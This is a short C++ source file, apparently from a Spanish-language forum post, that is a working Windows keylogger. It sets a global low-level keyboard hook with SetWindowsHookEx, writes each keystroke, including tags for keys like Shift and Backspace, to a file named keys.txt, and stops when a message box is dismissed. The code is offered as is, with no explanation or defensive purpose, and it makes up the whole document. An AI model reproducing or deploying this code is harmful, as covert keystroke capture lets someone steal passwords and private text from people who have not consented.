Código: Seleccionar todo

#define _WIN32_WINNT 0x0500

#include<fstream>
#include<windows.h>

using namespace std;

ofstream out("keys.txt", ios::out);

LRESULT CALLBACK keyboardHookProc(int nCode, WPARAM wParam, LPARAM lParam) {
	PKBDLLHOOKSTRUCT p = (PKBDLLHOOKSTRUCT) (lParam);
	
	// If key is being pressed
	if (wParam == WM_KEYDOWN) {
		switch (p->vkCode) {

			// Invisible keys
			case VK_CAPITAL:	out << "<CAPLOCK>";		break;
			case VK_SHIFT:		out << "<SHIFT>";		break;
			case VK_LCONTROL:	out << "<LCTRL>";		break;
			case VK_RCONTROL:	out << "<RCTRL>";		break;
			case VK_INSERT:		out << "<INSERT>";		break;
			case VK_END:		out << "<END>";			break;
			case VK_PRINT:		out << "<PRINT>";		break;
			case VK_DELETE:		out << "<DEL>";			break;
			case VK_BACK:		out << "<BK>";			break;

			case VK_LEFT:		out << "<LEFT>";		break;
			case VK_RIGHT:		out << "<RIGHT>";		break;
			case VK_UP:			out << "<UP>";			break;
			case VK_DOWN:		out << "<DOWN>";		break;

			// Visible keys
			default:
				out << char(tolower(p->vkCode));

		}
	}

	return CallNextHookEx(NULL, nCode, wParam, lParam);
}

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, int nShowCmd) {

	// Set windows hook
	HHOOK keyboardHook = SetWindowsHookEx(
		WH_KEYBOARD_LL,
		keyboardHookProc,
		hInstance,
		0);

	MessageBox(NULL, "Press OK to stop logging.", "Information", MB_OK);

	out.close();

	return 0;
}